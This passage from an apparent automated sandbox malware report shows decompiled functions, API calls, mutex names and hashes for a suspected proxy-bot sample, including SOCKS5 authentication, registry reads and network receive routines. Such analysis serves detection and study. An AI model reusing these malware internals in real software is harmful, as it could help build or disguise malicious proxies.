					if( *((char*)(_t49 + _t42)) == 2) {
						break;
					}
					if(_t42 > 0) {
						continue;
					}
					L7:
					 *_t49 = _v17 << 0x00000008 | 0x00000005;
					_v36 = 2;
					_v40 = _t49;
					 *_t51 = _t46;
					_t38 = E10001236(_v17 << 0x00000008 | 0x00000005);
					_t43 = 0;
					if(_t38 != 0) {
						_v40 = _t49;
						 *_t51 = _t46;
						_t43 = E10001A5B(_t42, _t46, _t49);
					}
					goto L9;
				}
				_v17 = 2;
				goto L7;
			}

0x10001bc4
0x10001bc7
0x10001bca
0x10001bcd
0x10001bd0
0x10001bd3
0x10001bd7
0x10001bdf
0x10001be3
0x10001be6
0x10001beb
0x10001bf2
0x10001c7d
0x10001c8b
0x10001c8b
0x10001bf8
0x10001c09
0x10001c10
0x00000000
0x00000000
0x10001c15
0x10001c19
0x10001c1d
0x10001c20
0x10001c25
0x10001c2c
0x00000000
0x00000000
0x10001c36
0x10001c36
0x10001c3f
0x00000000
0x00000000
0x10001c43
0x00000000
0x00000000
0x10001c45
0x10001c4f
0x10001c52
0x10001c5a
0x10001c5e
0x10001c61
0x10001c66
0x10001c6d
0x10001c6f
0x10001c73
0x10001c7b
0x10001c7b
0x00000000
0x10001c6d
0x10001c30
0x00000000

APIs

sread.SHERVANS ref: 10001BE6
sread.SHERVANS ref: 10001C20
swrite.SHERVANS ref: 10001C61
Socks5Auth.SHERVANS ref: 10001C76

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: sread$AuthSocks5swrite
String ID:
API String ID: 805060314-0
Opcode ID: 4e1afb2cb86adeb6528c9470966f2de77a63b8daad39af29b91a50e78bb70aaa
Instruction ID: 0b9e80be15c953b71f1d55b714f5562b534450c719e0e795439118d94a9aa7db
Opcode Fuzzy Hash: 4e1afb2cb86adeb6528c9470966f2de77a63b8daad39af29b91a50e78bb70aaa
Instruction Fuzzy Hash: BA219D70948754ABF710CF6881803AEFBE9EF84280F15C44AE8D897285D374DA42CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00404812 Relevance: 6.1, APIs: 4, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040428B), ref: 0040484C
RegOpenKeyExA.ADVAPI32 ref: 0040487A
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004048B5
RegCloseKey.ADVAPI32 ref: 004048C5

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 29f9e6147c9e0dbab374f9f7d1eee4296a4e52f03c6ec6fd140c1b1f9b0e3caf
Instruction ID: 49bf87151660670d78cfdeefb83c057e4f3b6f757f6147e457b2a6993822bbc7
Opcode Fuzzy Hash: 29f9e6147c9e0dbab374f9f7d1eee4296a4e52f03c6ec6fd140c1b1f9b0e3caf
Instruction Fuzzy Hash: 0D21C8F49043099FDB00EF69C18575EBBF4BB48348F40892EE998A7341E378DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 004067E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004067E0(void* __ebx, signed int _a4) {
				void* _v8;
				char _v1036;
				signed int _v1040;
				intOrPtr _v1044;
				signed int _v1048;
				signed int _t13;
				signed int _t20;
				signed int _t22;
				void* _t23;
				signed int* _t24;
				intOrPtr* _t25;

				_t24 = _t23 - 0x414;
				_t20 =  &_v1036;
				_v1044 = 0x400;
				_v1048 = 0;
				 *_t24 = _t20;
				memset(__ebx, ??, ??);
				_v1040 = 0;
				_v1044 = 0x400;
				_v1048 = _t20;
				_t13 = _a4;
				 *_t24 = _t13;
				L004086B8();
				_t25 = _t24 - 0x10;
				_t22 = 0;
				if(_t13 + 1 > 1) {
					 *_t25 =  &_v1036;
					_t22 = (E00406856( &_v1036, _t20) & 0xffffff00 | _t17 - 0x00000190 < 0x00000000) & 0x000000ff;
				}
				return _t22;
			}

0x004067e4
0x004067ea
0x004067f0
0x004067f8
0x00406800
0x00406803
0x00406808
0x00406810
0x00406818
0x0040681c
0x0040681f
0x00406822
0x00406827
0x0040682b
0x00406833
0x0040683b
0x0040684b
0x0040684b
0x00406854

APIs

memset.MSVCRT ref: 00406803
recv.WS2_32 ref: 00406822

Part of subcall function 00406856: lstrlen.KERNEL32(?,?,?), ref: 0040686A
Part of subcall function 00406856: sscanf.MSVCRT ref: 0040688E

Strings

fc@, xrefs: 00406850

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrlenmemsetrecvsscanf
String ID: fc@
API String ID: 2556557004-2333546356
Opcode ID: c1133dbf17f94d7c7e6c6e6ca5dd0c921707f1a6a51cd10e35ba8147b46d26d8
Instruction ID: 7b1cb7ca667fa739690624300255a696f657d489af5130fe59f4ce6b6cdf8f5c
Opcode Fuzzy Hash: c1133dbf17f94d7c7e6c6e6ca5dd0c921707f1a6a51cd10e35ba8147b46d26d8
Instruction Fuzzy Hash: CBF01DB05043049EDB00FF25C58535EBBE4AB44348F51886DE6C8A7382D638D5898B56

Uniqueness

Uniqueness Score: -1.00%

Function 0040402C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00404059
GetLastError.KERNEL32 ref: 00404061

Strings

k_fbpxf5nna, xrefs: 00404033

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: k_fbpxf5nna
API String ID: 1925916568-3032876681
Opcode ID: 9a88b48d1ad107bc964547b3910128f81a6eaee6bb5813ff57ad5a3f8fd565ef
Instruction ID: b44495afc4b5e1c155c3d7f26a4bf6281c5b98a28f183e2cb1f81a9367dbc24a
Opcode Fuzzy Hash: 9a88b48d1ad107bc964547b3910128f81a6eaee6bb5813ff57ad5a3f8fd565ef
Instruction Fuzzy Hash: 17E04FB0418308DAC700BF71C1C664DBEE4AB80348F40893EE888622C2C778958C8727

Uniqueness

Uniqueness Score: -1.00%

Function 00403E2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00403E5B
GetLastError.KERNEL32 ref: 00403E63

Strings

IHYanFuibyan, xrefs: 00403E35

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: IHYanFuibyan
API String ID: 1925916568-2233043627
Opcode ID: 4d0d80ee3a61e30fea3e63c13358dfb84c2fbac065cd1307cf50ef5234048b85
Instruction ID: b226eb3715ba9fc3d7238d88576273fb4163caaa6f42e8cd02b01324a8811274
Opcode Fuzzy Hash: 4d0d80ee3a61e30fea3e63c13358dfb84c2fbac065cd1307cf50ef5234048b85
Instruction Fuzzy Hash: 30E04FB0408308DACB00BF71C1C564DBEE4AB40388F40853EE888622C2C778954C8727

Uniqueness

Uniqueness Score: -1.00%

Function 0040B460 Relevance: 5.1, APIs: 4, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E0040B460(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, int _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _v24;
				void* _t20;
				long _t24;
				void* _t25;
				int _t28;
				intOrPtr _t38;
				int _t40;
				intOrPtr* _t49;
				long* _t50;

				_t43 = __esi;
				_t32 = __ebx;
				_v8 = __edi;
				_t40 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t38 =  *0x418284;
				if(_t38 == 0) {
					E0040B0E0(_t20);
					_t38 =  *0x418284;
					if( *((intOrPtr*)(_t38 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L7;
					}
				} else {
					if( *((intOrPtr*)(_t38 + 0x30)) < 0) {
						L7:
						E0040B3B0(_t32, _t43);
						_t38 =  *0x418284;
						if( *((intOrPtr*)(_t38 + 0x30)) == 0) {
							goto L3;
						} else {
							goto L9;
						}
					} else {
						L2:
						if( *((intOrPtr*)(_t38 + 0x30)) != 0) {
							L9:
							_t24 = GetLastError();
							 *_t49 =  *((intOrPtr*)(_t38 + 0x2c));
							_t25 = TlsGetValue(??);
							_t50 = _t49 - 4;
							 *_t50 = _t24;
							SetLastError(??);
							 *_t40 = _t25;
							_v24 = _t40;
							 *((intOrPtr*)(_t50 - 4)) =  *((intOrPtr*)( *0x418284 + 0x2c));
							_t28 = TlsSetValue(??, ??);
							if(_t28 == 0) {
								goto __ecx;
							}
						} else {
							L3:
							_t28 =  *(_t38 + 0x28);
							 *_t40 = _t28;
							 *(_t38 + 0x28) = _t40;
						}
					}
				}
				return _t28;
			}

0x0040b460
0x0040b460
0x0040b466
0x0040b469
0x0040b46c
0x0040b46f
0x0040b472
0x0040b47a
0x0040b4a0
0x0040b4a5
0x0040b4b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b47c
0x0040b481
0x0040b4c0
0x0040b4c0
0x0040b4c5
0x0040b4d0
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b483
0x0040b483
0x0040b488
0x0040b4e0
0x0040b4e3
0x0040b4e9
0x0040b4ee
0x0040b4f4
0x0040b4f9
0x0040b4fc
0x0040b502
0x0040b50f
0x0040b513
0x0040b516
0x0040b521
0x0040b539
0x0040b539
0x0040b48a
0x0040b48a
0x0040b48a
0x0040b48d
0x0040b48f
0x0040b48f
0x0040b488
0x0040b481
0x0040b49e

APIs

GetLastError.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4E3
TlsGetValue.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4EE
SetLastError.KERNEL32(?,?,?,?,?,?,00405F1A), ref: 0040B4FC
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,00405F1A), ref: 0040B516

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction ID: 439973a8ce157f22f3a963889ba98c70b340b09c43d7307190215458f466d12f
Opcode Fuzzy Hash: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction Fuzzy Hash: 8B210375A0060A9FCB40DF69DA8469ABBF4FF48310F1081AADC44A7352E734BE51CBC9

Uniqueness

Uniqueness Score: -1.00%

Function 00402B1D Relevance: 5.1, APIs: 4, Instructions: 57stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402B31

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402B59
lstrcat.KERNEL32 ref: 00402B81
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402BA3

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 2c7b681fe86cc2fd1af3aa736b3d656723dcda11dd27d62708b8b77b6b1c1b4c
Instruction ID: 03b09b6922a9c514b299c22ddce90b04ecaf30bc7003352be57799a9fe594460
Opcode Fuzzy Hash: 2c7b681fe86cc2fd1af3aa736b3d656723dcda11dd27d62708b8b77b6b1c1b4c
Instruction Fuzzy Hash: C121FCB59143148BCB10EF64D9816DEBBF4BB84314F40857FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402936 Relevance: 5.1, APIs: 4, Instructions: 56stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 0040294A

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402972
lstrcat.KERNEL32 ref: 0040299A
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004029BC

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a53f60471630b529b5b3fa49e027026b6c5687552c409762689948fa5b30f580
Instruction ID: 058901da40b0e2efb01319e0cab41814326d79342e400853ca70bd999cd91e9a
Opcode Fuzzy Hash: a53f60471630b529b5b3fa49e027026b6c5687552c409762689948fa5b30f580
Instruction Fuzzy Hash: AE21EE759143148BC710EF64D98169EBBF4FB84314F00897FE5C5A3241EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402D1F Relevance: 5.1, APIs: 4, Instructions: 55stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402D33
lstrcat.KERNEL32 ref: 00402D4D

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402D75
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402D97

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a5e0d163f18fc207e3c7efa7da69fe8f01bfacc653d33c2322edad23d5ce2f0b
Instruction ID: c94e486dd441945c80f89e6855cf6e362e59878be9d52d1e169f04df5a17e1bb
Opcode Fuzzy Hash: a5e0d163f18fc207e3c7efa7da69fe8f01bfacc653d33c2322edad23d5ce2f0b
Instruction Fuzzy Hash: 8521ECB69143148BCB10EF64D9816DEBBF4BB84314F40857FE589A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040285D Relevance: 5.1, APIs: 4, Instructions: 54stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402871
lstrcat.KERNEL32 ref: 0040288B

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 004028B3
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004028D5

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 55e289c392c43dc11c6b29da9f1cba6e1b33f9d9a4985b1c99fcb906303650f7
Instruction ID: a2a94c62469e04ea526b3170561a4d1959144f6524308fe89c3ba5c1d6912741
Opcode Fuzzy Hash: 55e289c392c43dc11c6b29da9f1cba6e1b33f9d9a4985b1c99fcb906303650f7
Instruction Fuzzy Hash: 2F21ED769043048BC710EF64D9815CEBBF4FB84314F40857FE985A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ctfmen.exePID: 5248, Parent PID: 5408COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	94
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _t23;
				intOrPtr* _t25;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t39;
				signed int _t40;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(??); // executed
				_t40 = _t39 - 4;
				E004016C0(E004015C0(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				 *_t40 = 0x404004;
				_v36 =  *0x402000;
				_v40 =  &_v16;
				_v44 = 0x404000;
				L00401A38();
				_t23 =  *0x404008;
				if(_t23 == 0) {
					L6:
					L00401A28();
					 *_t23 =  *0x402004;
					E00401590(_t23);
					_t40 = _t40 & 0xfffffff0;
					_t25 = E00401570();
					L00401A18();
					_v40 =  *_t25;
					_v44 =  *0x404000;
					 *_t40 =  *0x404004; // executed
					_t23 = E00401410(_t35); // executed
					L00401A10();
					 *_t40 = _t23; // executed
					ExitProcess(??); // executed
					L7:
					_v40 = _t23;
					_t23 =  *((intOrPtr*)( *0x405110 + 0x10));
					_v44 = _t23;
					L00401A30();
					_t38 =  *0x405110;
					L2:
					if(_t38 != 0xffffffe0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x30));
						_v44 = _t23;
						L00401A30();
						_t38 =  *0x405110;
					}
					if(_t38 != 0xffffffc0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x50));
						_v44 = _t23;
						L00401A30();
					}
					goto L6;
				}
				 *0x402004 = _t23;
				_t38 =  *0x405110;
				if(_t38 != 0) {
					goto L7;
				}
				goto L2;
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x004011bf
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6
0x004011ac
0x004011b1
0x004011b9
0x00000000
0x00000000
0x00000000

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 4a6b14afbb9335201329f32d80b7a7aa2d8db0052c7bcc995225129068e83828
Instruction ID: b4e4ad1f54ebbf9cbd81b67d73a179059569c9c22aa264126cd00cea7d8576b1
Opcode Fuzzy Hash: 4a6b14afbb9335201329f32d80b7a7aa2d8db0052c7bcc995225129068e83828
Instruction Fuzzy Hash: 3D31CCB4A157009FC700EF79D68561A77E0BB88344F41897EF695BB3A1D73898808F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 12.1, APIs: 8, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _t23;
				intOrPtr* _t25;
				_Unknown_base(*)()* _t34;
				void* _t36;
				void* _t37;
				intOrPtr _t39;
				void* _t42;
				signed int _t44;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(_t34); // executed
				_t44 = _t42 - 0x20;
				E004016C0(E004015C0(_t36, _t37));
				_v12 = 0;
				_v32 =  &_v12;
				 *_t44 = 0x404004;
				_v36 =  *0x402000;
				_v40 =  &_v16;
				_v44 = 0x404000;
				L00401A38();
				_t23 =  *0x404008;
				if(_t23 == 0) {
					L7:
					L00401A28();
					 *_t23 =  *0x402004;
					E00401590(_t23);
					_t44 = _t44 & 0xfffffff0;
					_t25 = E00401570();
					L00401A18();
					_v40 =  *_t25;
					_v44 =  *0x404000;
					 *_t44 =  *0x404004; // executed
					_t23 = E00401410(_t36); // executed
					L00401A10();
					 *_t44 = _t23; // executed
					ExitProcess(??); // executed
					goto L8;
				} else {
					 *0x402004 = _t23;
					_t39 =  *0x405110;
					if(_t39 != 0) {
						L8:
						_v40 = _t23;
